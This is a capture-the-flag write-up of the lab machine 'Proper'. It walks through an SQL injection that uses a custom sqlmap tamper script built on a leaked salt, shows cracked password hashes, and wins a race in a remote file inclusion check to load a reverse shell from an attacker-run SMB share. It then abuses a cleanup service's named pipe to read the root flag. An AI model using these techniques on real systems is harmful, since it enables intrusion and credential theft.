Proper

Posted on Aug 22, 2021

HTB Proper


Nmap scan report for 10.10.10.231
Host is up (0.033s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: OS Tidy Inc.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 19 10:18:35 2021 -- 1 IP address (1 host up) scanned in 13.99 seconds

Only port 80 open

Inspect source code

   <script type="text/javascript">
    $(document).ready(function(){
        'use strict';
        jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
        $( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});

Messing with the parameters in the requests give us 500 and the salt

GET //products-ajax.php?order=id+desc HTTP/1.1

Host: 10.10.10.231
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=mqe225g03lo86i8vj6ja8f79bn
Upgrade-Insecure-Requests: 1


HTTP/1.1 500 Internal Server Error

Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.4.1
Date: Mon, 22 Mar 2021 11:45:00 GMT
Connection: close
Content-Length: 641



<!-- [8] Undefined index: h

On line 6 in file C:\inetpub\wwwroot\products-ajax.php

  1 |   // SECURE_PARAM_SALT needs to be defined prior including functions.php 
  2 |   define('SECURE_PARAM_SALT','hie0shah6ooNoim'); 
  3 |   include('functions.php'); 
  4 |   include('db-config.php'); 
  5 |   if ( !$_GET['order'] || !$_GET['h'] ) {                <<<<< Error encountered in this line.
  6 |     // Set the response code to 500 
  7 |     http_response_code(500); 
  8 |     // and die(). Someone fiddled with the parameters. 
  9 |     die('Parameter missing or malformed.'); 
 10 |   } 
 11 |  
// -->
Parameter missing or malformed.

SQL Injection

We cannot run sqlmap properly as the md5 hash is based on the salt and the order input. But we can make a tamper script with sqlmap which will tamper our sqlinjections:

#!/usr/bin/python

#products-ajax.php?order=id%20desc&h=a1b30d31d344a5a4e41e8496ccbdd26b
import hashlib 

 

def retmd(order):
    return hashlib.md5('hie0shah6ooNoim'.encode('utf-8') + order.encode('utf-8')).hexdigest()

def tamper(payload, **kwargs):
    params = '/licenses/licenses.php?theme=%s' % payload  
    final =  params + '&h=' + retmd(payload)
    return final
	

Eventually, we will leak the creds from the credits with running sqlmap -u "http://10.10.10.231/*" --skip-urlencode --batch --tamper=md5tamper.py --level=3 --risk=3 --db

0571749e2ac330a7455809c6b0e7af90 (sunshine)  
061fba5bdfc076bb7362616668de87c8 (lovely)  
0acf4539a14b3aa27deeb4cbdf6e989f (michael)  
2345f10bb948c5665ef91f6773b3e455 (michelle)  
25d55ad283aa400af464c76d713c07ad (12345678)  
25f9e794323b453885f5181f1b624d0b (123456789)  
5f4dcc3b5aa765d61d8327deb882cf99 (password)  
670b14728ad9902aecba32e22fa4f6bd (000000)  
67881381dbc68d4761230131ae0008f7 (babygirl)  
6cb75f652a9b52798eb6cf2201057c73 (password2)  
7c6a180b36896a0a8c02787eeafb0e4c (password1)  
827ccb0eea8a706c4c34a16891f84e7b (12345)  
8afa847f50a716e64932d995c8e7435a (princess)  
96e79218965eb72c92a549dd5a330112 (111111)  
aa47f8215c6f30a0dcdb2a36a9f4168e (daniel)  
aae039d6aa239cfc121357a825210fa3 (jessica)  
adff44c5102fca279fce7559abf66fee (ashley)  
c33367701511b4f6020ec61ded352059 (654321)  
c378985d629e99a4e86213db0cd5e70d (chocolate)  
d0763edaa9d9bd2a9516280e9044d885 (monkey)  
d8578edf8458ce06fbc5bb76a58c5ca4 (qwerty)  
e10adc3949ba59abbe56e057f20f883e (123456)  
e99a18c428cb38d5f260853678922e03 (abc123)  
edbd0effac3fcc98e725920a512881e0 (iloveu)  
f25a2fc72690b780b2a14e140ef6a9e0 (iloveyou)  
f78f2477e949bee2d12a2c540fb6084f (tigger)  
f806fc5a2a0d5ba2471600758452799c (rockyou)  
fc63f87c08d505264caba37514cd0cfd (nicole)  
fcea920f7412b5da7be0cf42b8c93759 (1234567)
+------------------------------+                                                                                                                                                                
| aalekseicikm@skyrock.moc     |
| aaustinf@booking.moc         |
| acallabyk@un.gro             |
| afeldmesserg@ameblo.pj       |
| ahuntarh@seattletimes.moc    |
| bklewerq@yelp.moc            |
| bmceachern7@discovery.moc    |
| bpfeffelt@artisteer.moc      |
| daeryl@about.you             |
| gdornina@marriott.moc        |
| ishayj@dmoz.gro              |
| itootellb@forbes.moc         |
| jblinded@bing.moc            |
| jkleiser8@google.com.xy      |
| kmanghamc@state.tx.su        |
| krussenw@mit.ude             |
| lbyshp@wired.moc             |
| lginmann@lycos.moc           |
| lgiorioo@ow.lic              |
| lgrimsdellu@abc.net.uvw      |
| llenchenkoe@macromedia.moc   |
| lodorans@kickstarter.moc     |
| lpealingv@goo.goo            |
| mchasemore9@sitemeter.moc    |
| meastmondx@businessweek.moc  |
| nstone@trashbin.mail         |
| talelsandrovichi@tamu.ude    |
| vikki.solomon@throwaway.mail |
| wstrettellr@senate.gov

The creds krussenw@mit.ude:sunshine grants us access to licenses.

Once logged in, we see a familiar URL http://10.10.10.231/licenses/licenses.php?theme=flatly&h=a48e169864f4b46a09d36664ec645f75

The theme parameter is vulnrable to remote file inclusion.

However, strpos scans the included file header.inc for <?.

<!-- [2] file_get_contents(\\10.10.16.65\share\header.inc/header.inc): failed to open stream: No such file or directory

On line 35 in file C:\inetpub\wwwroot\functions.php

 30 |  
 31 | // Following function securely includes a file. Whenever we 
 32 | // will encounter a PHP tag we will just bail out here. 
 33 | function secure_include($file) { 
 34 |   if (strpos(file_get_contents($file),'<?') === false) {                <<<<< Error encountered in this line.
 35 |     include($file); 
 36 |   } else { 
 37 |     http_response_code(403); 
 38 |     die('Forbidden - Tampering attempt detected.'); 
 39 |   } 
 40 | } 
// -->

This is however vulnerable to a race condition. First we script the request

#!/usr/bin/python


import hashlib 
import requests
import sys

cookie = {"PHPSESSID" : "mqe225g03lo86i8vj6ja8f79bn"}
path=sys.argv[1]

def retmd(order):
    return hashlib.md5('hie0shah6ooNoim'.encode('utf-8') + order.encode('utf-8')).hexdigest()

r = requests.get("http://10.10.10.231/licenses/licenses.php?theme=" + path + "&h=" + retmd(path), cookies=cookie)

We begin with setting up our share

sudo impacket-smbserver share `pwd` -smb2support -username web -password charlotte123!

And then loop copying our reverse shell into header.inc

while :;do echo asdaasd > header.inc; sleep 0.1;cp header2.inc header.inc; sleep 0.1;done

Finally we loop the execution of the request

while :;  do python rfi.py \\\\10.10.16.65\\share ; done 

User

We land as the user web which gives us the user flag.

in C:\Program Files\Cleanup we can find server.exe and client.exe.

# Cleanup

We find the garbage on your system and delete it!

## Changelog

- 31.10.2020 - Alpha Release

## Todo

- Create an awesome GUI
- Check additional paths 

Running server.exe in a windows environment shows that it cleans up the current working directory, checking for files that are older than 30 days, encrypts them, and stores the enrypted file in C:\ProgramData\Cleanup. The name of the file is the base64 encoded string of the fullpath of the “cleaned” file.

Looking at client.exe in Ghidra reveals that it accepts to different arguments, CLEAN or -R.

If you run client.exe -R <path> the server will attempt to restore the C:\ProgramData\Cleanup\<base64 encoded string of the fullpath>.

The client and server are communicating over a named pipe, \\\\.\\pipe\\cleanupPipe.

We can communicate directly with the pipe using Powershell.

To get the root flag, we need to:

  • tell the server to encrypt it,
  • get the contents of the encrypted fla
  • create a base64 encoded file located in C:\ProgramData\CleanUp which will be the base64 encoded path for the file which we want to restore/decrypt.
  • Echo the contents of the encrypted root flag to the base64 encoded file located in C:\ProgramData\CleanUp.

The below powershell script will tell server.exe to encrypt the flag.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream("cleanupPipe"); $pipe.Connect(); $sw = new-object System.IO.StreamWriter($pipe); $sw.Write("CLEAN C:\\Users\\Administrator\\Desktop\\root.txtz"); $sw.Dispose(); $pipe.Dispose();

Afterwards we can take the contents of the encrypted flag and decrypt it locally by creating a base64 encoded file which we will be stored in C:\ProgramData\Cleanup and contain the contents of the encrypted root.txt. The base64 file must be of a file which we can tell server.exe to decrypt. Once all of the above is done, we run client.exe -R <path> and get the root flag decrypted.